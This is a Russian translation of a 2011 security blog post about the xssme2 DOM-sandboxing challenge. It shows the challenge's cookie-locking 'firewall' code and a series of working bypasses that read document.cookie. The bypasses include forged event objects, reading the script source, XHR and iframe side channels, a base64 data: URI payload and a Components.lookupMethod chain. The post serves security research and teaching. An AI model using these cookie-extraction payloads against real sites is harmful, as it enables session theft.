Несколько дней назад Марио Хайдерих опубликовал вторую часть своих заданий xssme (пока только в Firefox). Но это был не обычный вызов. Цель состояла не в том, чтобы выполнить ваш Javascript, а в том, чтобы получить доступ к свойству объекта DOM (document.cookie) без взаимодействия с пользователем . Фактически, полезная нагрузка не была отфильтрована вообще.
Прелесть моя!
Это соответствует работе Марио по блокировке попыток уничтожения DOM и XSS. Концепция заключается в том, что фильтрация на стороне сервера для XSS в конечном итоге потерпит неудачу, если вам потребуется принять HTML. Далее — иногда код Javascript должен приниматься от клиента ( гибридные приложения есть везде! ), Вместо этого мы хотим, чтобы он выполнялся внутри песочницы, ограничивая доступ к некоторым важным свойствам (местоположение, cookie, окно, некоторые токены, наш внутренний объект приложения и т. Д.). .). Это в основном то, что Google Caja пытается достичь на стороне сервера. Но сервер не знает обо всех этих странностях браузера, проблемах синтаксического анализа — в конце концов, это другая среда.
Поэтому, если возможно полное уничтожение XSS — оно должно быть на стороне клиента, в браузере. Конечно, это требует некоторой поддержки от браузера, и наиболее распространенным оружием является ECMAScript 5 Object.defineProperty () и друзья. По сути, это позволяет вам переопределить свойство объекта (скажем, document.cookie ) с вашей собственной реализацией и заблокировать его, чтобы дальнейшие переопределения были невозможны.
В теории это здорово. Вы вставляете некоторый код Javascript, блокируете ваши драгоценные активы DOM, затем можете вывести неизмененный код клиента, который уже работает в контролируемой изолированной среде — и все готово. В теории. Читать дальше!
Что это было за событие!
Марио начал с этого подхода — он подготовил сценарий «брандмауэра» и ниже отображал предоставленный пользователем HTML без какой-либо фильтрации. Но во-первых, были разрешены только IE9 + и FF6 + (другие браузеры пока не имеют всех функций для блокировки драгоценного). В брандмауэре он заблокировал document.cookie , оставив доступ к нему только через функцию безопасного получения. Эта безопасная функция получения может быть вызвана только по щелчку пользователя. IIRC, это выглядело так:
<script> document.cookie = '123456-secret-123456'; // my precious var Safe = function() { var cookie = document.cookie; // reference to original this.get = function() { var ec = arguments.callee.caller; var ev = ec.arguments[0]; if(ec && ev.isTrusted === true && ev.type=='click') { // allow calling only from click events return cookie; } return null; }; }; Object.defineProperty(window, 'Safe', { value: new Safe, configurable:false} ); // Safe cannot be overridden Object.defineProperty(document, 'cookie', {value: null, configurable: false}); // nullify and seal the original cookie </script> <button id="safe123" onclick="alert(Safe.get())">Access document.cookie safely -- the legit way</button>
Итак, мы закончили, верно? Нет! Вы можете подделать событие, позвонить получателю и получить cookie.
function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); // call b({type:'click',isTrusted:true})
Решение? Убедитесь, что событие не подделано, используя instanceof еще один заблокированный объект. Это также было обойдено многими способами (ищите событие в списке обхода ), что привело к другим блокировкам .
Я могу читать!
Другой подход состоял в том, чтобы просто извлечь текст сценария из источника документа (в конце концов, он все в том же происхождении) — великолепно:
// one alert(document.head.childNodes[3].text); // two alert(document.head.innerHTML.substr(146,20)) // three var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])
и аналогичные (авторы, пожалуйста, свяжитесь со мной для кредитов!). Проблема здесь заключается в том, что на стороне клиента я могу читать свой собственный документ, включая исходный код скрипта, содержащего драгоценный файл cookie .
Фикс? Запретить кучу функций чтения узлов — чтобы добавить еще больше блокировок.
Мы в сети!
Говоря о чтении — не является ли веб-страница просто пятном текстового контента? Может быть, есть способ прочитать HTML веб-страницы, даже не интерпретируя его? Конечно есть — это было годами. XMLHttpRequest . Таким образом, было несколько векторов побочных каналов, которые просто считывали исходный URL и извлекали cookie из responseText .
var request = new XMLHttpRequest();
request.open('GET', 'http://html5sec.org/xssme2', false);
request.send(null);
if (request.status == 200){alert(request.responseText.substr(150,41));}
Решение? Запретить XHR (и все это другие формы). Тогда это случилось:
x=document.createElement('iframe'); x.src='http://html5sec.org/404'; x.onload=function(){window.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")}; document.body.appendChild(x);
и задача была перенесена в отдельный домен, чтобы никто не мог атаковать через другую страницу, которая была в том же происхождении. И тогда ад вырвался на свободу.
Большой побег
Люди начали загружать JavaScript в iframes. Их быстро отключили:
html.body.innerHTML = x; for (var i in j = html.querySelectorAll('iframe,object,embed')) { try {j[i].src = 'javascript:""';j[i].data = 'javascript:""'} catch (e) {} }
Затем Марио предпринял другой подход к блокировке и создал отдельный документ , заменив оригинал, чтобы потерять даже свое происхождение (блестящий код, кстати):
if (document.head.parentNode.id !== 'sanitized') { document.write('<plaintext id=test>'); var test = document.getElementById('test'); setTimeout(function(){ var x = test.innerHTML; var j = null; var html = document.implementation.createHTMLDocument( 'http://www.w3.org/1999/xhtml', 'html', null ); html.body.innerHTML = x; document.write('<!doctype html><html id="sanitized"><head>' + document.head.innerHTML + '</head><body>' + html.body.innerHTML + '</body></html>'); },50); }
Но все же, на данный момент, два обходных пути работают. Гарет Хейес соленый обход и мой.
Мой использует data: uri с HTML-документом, который загружает исходную страницу через XHR (возможно, из-за странного предположения Firefox, что data: документы имеют то же происхождение, что и вызывающая страница). Гарет использует проприетарный Firefox Components.lookupMethod и получает оригинальные нативные объекты, которые должны были быть заблокированы.
// Mine - use XHR in data:uri location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1
c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICco
Lio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; // base 64 is: <script>x=new XMLHttpRequest();x.open("GET","http://xssme.html5sec.org/xssme2/",true);x.onload=function()
{ alert(x.responseText.match(/document.cookie = '(.*?)'/)[1])};x.send(null);</script> // Gareth - use unlockable Components.lookupMethod alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),
'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/cookie.*'/));
Решение? Пока нет . Я предполагаю, что местоположение будет заблокировано, чтобы разбить мой вектор, но Соленый Обход выглядит безупречным.
Печальное состояние безопасности DOM
Текущие вопросы заключаются в том, что безопасность DOM находится в очень плохом состоянии. В конце концов, чтобы иметь возможность заблокировать единственную собственность DOM, Марио — один из лучших людей для этой работы на планете — должен был:
- согласиться с ограничениями браузера (в настоящее время только один браузер находится в области действия, проблема даже не работает в Chrome)
- заблокировать почти все, включая XHR, окно, документ
- запретить взаимодействие с пользователем
- не разрешать читать содержимое страницы
- Запретить фреймы, объекты и встраивать (поэтому нет фильмов на Youtube :()
- справиться с множеством нюансов браузера
- иметь дело с побочными каналами
- получить вызов на отдельном поддомене
- перезагрузить всю страницу в новом источнике
Затем несколько десятков человек садятся, составляют самые странные векторы и делают все это еще обходным путем ?
И все же мы все правим
Этот пост, тем не менее, приветствуется всеми вами, ребята! Мы все правим!
- Марио руководствуется всеми этими контрмерами (помните — защищаться гораздо сложнее)
- Все участники выступают за то, чтобы обходить их один за другим (я узнал массу новых трюков от других)
- Задача состоит в том, чтобы показать, каково текущее состояние безопасности DOM и что необходимо исправить.
- Правила Javascript для того, чтобы сделать все это возможным
- и Firefox управляет всеми его причудливыми обходами;)
От http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html